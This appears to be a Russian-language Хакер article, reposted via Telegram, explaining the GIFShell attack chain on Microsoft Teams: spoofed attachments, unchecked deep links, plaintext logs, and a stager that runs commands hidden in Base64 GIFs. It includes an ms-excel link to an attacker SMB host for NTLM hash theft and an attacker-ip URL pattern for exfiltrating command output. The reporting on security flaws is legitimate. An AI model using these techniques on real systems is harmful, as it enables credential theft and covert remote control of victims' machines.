Хакер - Ядовитые гифки. Как работает уязвимость GIFShell

Хакер - Ядовитые гифки. Как работает уязвимость GIFShell

hacker_frei

https://t.me/hacker_frei

Валентин Холмогоров

По­пыт­ки спря­тать вре­донос­ное содер­жимое в обыч­ных гра­фичес­ких фай­лах пред­при­нима­лись уже дав­но, и некото­рые из них даже были успешны­ми. На днях в бло­ге BleepingComputer был опуб­ликован от­чет о новой уяз­вимос­ти, поз­воля­ющей запус­кать reverse shell в Microsoft Teams при помощи обыч­ных GIF-фай­лов. Давай пос­мотрим, как она работа­ет.

Ког­да мы говорим о внед­рении вре­донос­ного кода в гра­фичес­кие фай­лы, сра­зу вспо­мина­ется дроп­пер, который извле­кал бинар­ник тро­яна из сох­ранен­ной на дис­ке кар­тинки, и дру­гая мал­варь, искавшая в опуб­ликован­ном на уда­лен­ном сер­вере изоб­ражении управля­ющие коман­ды. Новый век­тор ата­ки, получив­ший наиме­нова­ние GIFShell, похож на вто­рой слу­чай. Он поз­воля­ет кибер­прес­тупни­кам зло­упот­реблять недос­татка­ми кор­поратив­ной плат­формы Microsoft Teams для запус­ка reverse shell и выпол­нения на ском­про­мети­рован­ном компь­юте­ре вре­донос­ных команд. При­чем добива­ются все­го это­го при помощи обыч­ных GIF-фай­лов. Ну, поч­ти обыч­ных.

GIFShell пред­став­ляет собой не одну кон­крет­ную уяз­вимость, а целую цепоч­ку атак, исполь­зующих раз­личные недоче­ты в архи­тек­туре плат­формы Microsoft Teams. Все­го уяз­вимос­тей обна­руже­но семь, их выявил и сис­темати­зиро­вал незави­симый эксперт по кибер­безопас­ности Боб­би Раух. Нап­ример, поль­зовате­лям Microsoft Teams дос­тупна воз­можность отправ­лять друг дру­гу вло­жен­ные фай­лы, при­чем эти вло­жения могут заг­ружать содер­жимое с внеш­него URL, а не по внут­ренней ссыл­ке SharePoint. Эти фай­лы порой выг­лядят впол­не безобид­ными, одна­ко при этом содер­жат неп­рият­ный сюр­приз. У поль­зовате­ля Microsoft Teams нет никакой воз­можнос­ти пред­варитель­но про­верить, вре­донос­но такое вло­жение или нет.

Кро­ме того, Microsoft Teams поз­воля­ет заг­ружать кар­тинки в фор­мате GIF с уда­лен­ных сер­веров и отправ­лять поль­зовате­лям GIF-фай­лы в кодиров­ке HTML Base64 и никак не про­веря­ет их содер­жимое. Поэто­му мож­но спря­тать внут­ри такого фай­ла вре­донос­ные коман­ды. Плат­форма под­держи­вает небезо­пас­ные схе­мы URI, допус­кающие кра­жу хешей SMB NTLM или ата­ки типа NTLM Relay. Наконец, весь тра­фик Microsoft Teams нап­равля­ется кли­ентам через сер­веры Microsoft, из‑за чего анти­виру­сы счи­тают его легитим­ным и не замеча­ют угро­зы. Все это в совокуп­ности откры­вает перед хакера­ми очень инте­рес­ные воз­можнос­ти.

По сооб­ражени­ям безопас­ности поль­зовате­ли Microsoft Teams из одной груп­пы не име­ют воз­можнос­ти нап­рямую обме­нивать­ся фай­лами с чле­нами дру­гих групп. В окне отправ­ки сооб­щения учас­тни­ку дру­гой коман­ды поп­росту отсутс­тву­ет кноп­ка с изоб­ражени­ем скреп­ки, поз­воля­ющая прик­репить файл. Одна­ко прос­тые сооб­щения отправ­лять мож­но — мно­гие адми­нис­тра­торы даже не подоз­рева­ют о том, что поль­зовате­ли Teams по умол­чанию могут получать сооб­щения от кого угод­но.

Ког­да сооб­щение с вло­жени­ем отправ­ляет­ся поль­зовате­лю из той же груп­пы, Microsoft Teams фор­миру­ет ссыл­ку SharePoint на вло­жен­ный файл, которая пре­обра­зует­ся в JSON и отправ­ляет­ся в виде POST-зап­роса на эндпой­нт Teams. По умол­чанию такую ссыл­ку могут прос­матри­вать толь­ко отпра­витель и получа­тель сооб­щения. Но сер­веры Microsoft не про­веря­ют, есть ли в ссыл­ках SharePoint в теле JSON адре­са сто­рон­них сер­веров, поэто­му такая ссыл­ка может быть замене­на любым URL. Это поз­воля­ет зло­умыш­ленни­ку выпол­нить ата­ку drive-by download. Кро­ме того, в этом JSON мож­но под­менить и обоз­начение фор­мата фай­ла, вмес­то раз­решен­ного JPEG передав, нап­ример, DLL или EXE.

Са­мое инте­рес­ное, что на про­межу­точ­ных сер­верах не про­веря­ется и этот параметр: получа­тель уви­дит, что в пос­лание вло­жено изоб­ражение JPEG, раз­ве что без пред­варитель­ного прос­мотра. Если юзер наведет кур­сор мыши на это вло­жение, так­же будет про­демонс­три­рова­но имя вло­жен­ной кар­тинки, нап­ример Christmas_Party_Photo.jpeg, хотя на самом деле файл име­ет имя Christmas_Party_Photo.jpeg.............exe.

Вмес­то изоб­ражения в сооб­щении Teams может пря­тать­ся любой файл. Скрин­шот с сай­та medium.com

Пос­коль­ку исполь­зуемые Teams JSON не име­ют никакой CSRF-защиты, зло­умыш­ленник может лег­ко авто­мати­зиро­вать отправ­ку вре­донос­ных сооб­щений, ска­жем с помощью модуля на Python, обхо­дя любые уста­нов­ленные Microsoft огра­ниче­ния.

Так выг­лядит вре­донос­ный JSON. Скрин­шот с сай­та bleepingcomputer.com

При­мер реали­зации такой ата­ки показан на ви­део.

Microsoft Teams под­держи­вает так называ­емую тех­нологию deep linking. С ее помощью поль­зовате­ли обме­нива­ются ссыл­ками, при нажатии на которые выпол­няют­ся те или иные дей­ствия Teams. Нап­ример, что­бы отпра­вить дру­гому поль­зовате­лю ссыл­ку на чат, мож­но выс­лать ему такую запись:

msteams://l/chat/0/0?users=<email>

Лю­бопыт­но, но ссыл­ки deep linking сер­веры Microsoft тоже не про­веря­ют на валид­ность, что поз­воля­ет добав­лять в сооб­щения прак­тичес­ки любые URI. Нап­ример, ссыл­ку, которая заг­ружа­ет с сай­та зло­умыш­ленни­ков файл .xls и откры­вает его в Excel на машине жер­твы:

ms-excel:/ofv|u|//10.10.10.10/ROPNOP/filename.xls

Кро­ме того, ког­да поль­зователь откры­вает такую ссыл­ку, на машину ата­кующе­го отправ­ляют­ся дан­ные SMB handshake, что поз­воля­ет зло­умыш­ленни­ку перех­ватить хеш NTLM и передать его кон­трол­леру домена.

Сле­дующая при­ятная для хакеров новость зак­люча­ется в том, что фай­лы жур­налов Microsoft Teams, в которых записы­вают­ся в том чис­ле все сооб­щения вмес­те с их содер­жимым, хра­нят­ся в откры­том виде на дис­ке компь­юте­ра поль­зовате­ля. При­чем для чте­ния этих фай­лов не тре­бует­ся даже наличия прав адми­нис­тра­тора. Нап­ример, в вер­сии Microsoft Teams для работы или обу­чения жур­налы хра­нят­ся в сле­дующей пап­ке:

$HOME\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.microsoft.com_0.indexeddb.leveldb\*.log

По­лучен­ные сооб­щения сох­раня­ются в этих жур­налах и дос­тупны для чте­ния всем груп­пам поль­зовате­лей Windows, то есть любое вре­донос­ное ПО на устрой­стве может бес­пре­пятс­твен­но получить к ним дос­туп.

Для успешно­го выпол­нения ата­ки GIFShell зло­умыш­ленник пер­вым делом при помощи гип­ноза соци­аль­ной инже­нерии дол­жен убе­дить потен­циаль­ную жер­тву запус­тить на сво­ей машине вре­донос­ный стей­джер. Перес­лать его мож­но под видом безобид­ного JPEG-фай­ла, модифи­циро­вав отве­чающий за вло­жения в сооб­щения JSON (об этом методе было рас­ска­зано выше), или с помощью ссыл­ки deep linking. Кон­цепт такого стей­дже­ра выложен на GitHub Боб­би Рауха. Для раз­работ­ки сво­ей прог­раммы автор исполь­зовал Python и PowerShell, но, в прин­ципе, подоб­ное при­ложе­ние мож­но написать на любом язы­ке прог­рамми­рова­ния.

За­тем зло­умыш­ленник фор­миру­ет и отправ­ляет жер­тве закоди­рован­ные в Base64 GIF-фай­лы, в которые добав­ляет нуж­ные ему сис­темные коман­ды. Такие GIF-фай­лы отоб­ража­ются в окне Microsoft Teams как обыч­ные кар­тинки и вмес­те с самим сооб­щени­ем сох­раня­ются на диск в файл жур­нала. Стей­джер на ата­куемом компь­юте­ре ска­ниру­ет жур­налы, ищет в них изоб­ражения в фор­мате GIF/Base64, декоди­рует их, а затем выпол­няет спря­тан­ные в Base64 коман­ды с исполь­зовани­ем PowerShell.

Итак, полови­на дела сде­лана: мы смог­ли выпол­нить коман­ду на компь­юте­ре жер­твы. Но ведь нуж­но еще передать ее вывод зло­умыш­ленни­ку! Для это­го стей­джер отсле­жива­ет выпол­нение команд на ата­куемой машине, а затем фор­миру­ет URL вида http://<attacker-ip>/<base64-encoded-command-output>.gif, где attacker-ip — это IP-адрес сер­вера ата­кующе­го, а base64-encoded-command-output — закоди­рован­ный в Base64 вывод выпол­ненной коман­ды. Этот URL упа­ковы­вает­ся в так называ­емую кар­точку опро­са Microsoft Teams — сооб­щение в фор­мате JSON — и отправ­ляет­ся на сер­веры Microsoft Teams.

Ког­да сер­вер Microsoft получа­ет такую кар­точку, он обра­щает­ся к узлу ата­кующе­го (IP-адрес которо­го содер­жится в URL) и пыта­ется ска­чать отту­да GIF-файл. Даль­ше все прос­то: в име­ни это­го несущес­тву­юще­го GIF-фай­ла зашиф­рован в Base64 вывод коман­ды, выпол­ненной на машине жер­твы. Этот вывод рас­шифро­выва­ется и переда­ется ата­кующе­му. Нап­ример, файл с име­нем dGhlIHVzZXIgaXM6IA0KYm9iYnlyYXVjaDYyNzRcYm9iYnlyYXVJa0K.gif будет декоди­рован в вывод коман­ды whoami, выпол­ненной на ском­про­мети­рован­ном устрой­стве:

the user is:

bobbyrauch6274\bobbyrauIkBáë

Та­ким замыс­ловатым обра­зом реали­зует­ся дос­таточ­но эффектив­ный обратный шелл — в опуб­ликован­ном авто­ром ви­део показа­но, как он работа­ет.

Ата­кующие могут отправ­лять жер­тве боль­шое количес­тво кар­тинок в фор­мате GIF, содер­жащих коман­ды, и получать информа­цию о выпол­нении спря­тан­ных внут­ри команд. Пос­коль­ку все эти дан­ные переда­ются через сер­веры Microsoft Teams и пред­став­ляют собой обыч­ный тра­фик при­ложе­ния, анти­виру­сы и бран­дма­уэры не бло­киру­ют и не филь­тру­ют его, что дает зло­умыш­ленни­кам пол­ную сво­боду дей­ствий. Ну а пос­коль­ку Microsoft Teams работа­ет как фоновый про­цесс, поль­зовате­лю даже не нуж­но откры­вать его окно, что­бы вре­донос­ные коман­ды выпол­нились на его компь­юте­ре.

Боб­би Раух про­информи­ровал Microsoft об обна­ружен­ных им уяз­вимос­тях в мае и июне 2022 года, но в Ред­монде не пос­читали их кри­тичес­ки важ­ными, и иссле­дова­тель получил воз­можность обна­родо­вать свою наход­ку. Все опи­сан­ные им ата­ки успешно выпол­нялись на Microsoft Teams вер­сии 1.5.00.11163, и они гаран­тирован­но будут работать на более ран­них вер­сиях. Адми­нис­тра­торы бло­га BleepingComputer обра­тились в Microsoft за ком­мента­риями по поводу устра­нения обна­ружен­ных Раухом уяз­вимос­тей и получи­ли такой ответ: «Некото­рые уяз­вимос­ти невысо­кой сте­пени серь­езности, которые не пред­став­ляют непос­редс­твен­ной угро­зы для поль­зовате­лей, не явля­ются при­ори­тет­ными для немед­ленно­го обновле­ния безопас­ности, но воз­можность их исправ­ления будет рас­смот­рена в сле­дующей вер­сии ПО».

Ины­ми сло­вами, Microsoft не торопит­ся исправ­лять проб­лемы с безопас­ностью, а зна­чит, зло­умыш­ленни­ки могут поль­зовать­ся ими и в даль­нейшем. Поэто­му поль­зовате­лям Microsoft Teams сле­дует про­являть осо­бую осто­рож­ность и бди­тель­ность, если они не хотят стать жер­твой хакеров.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page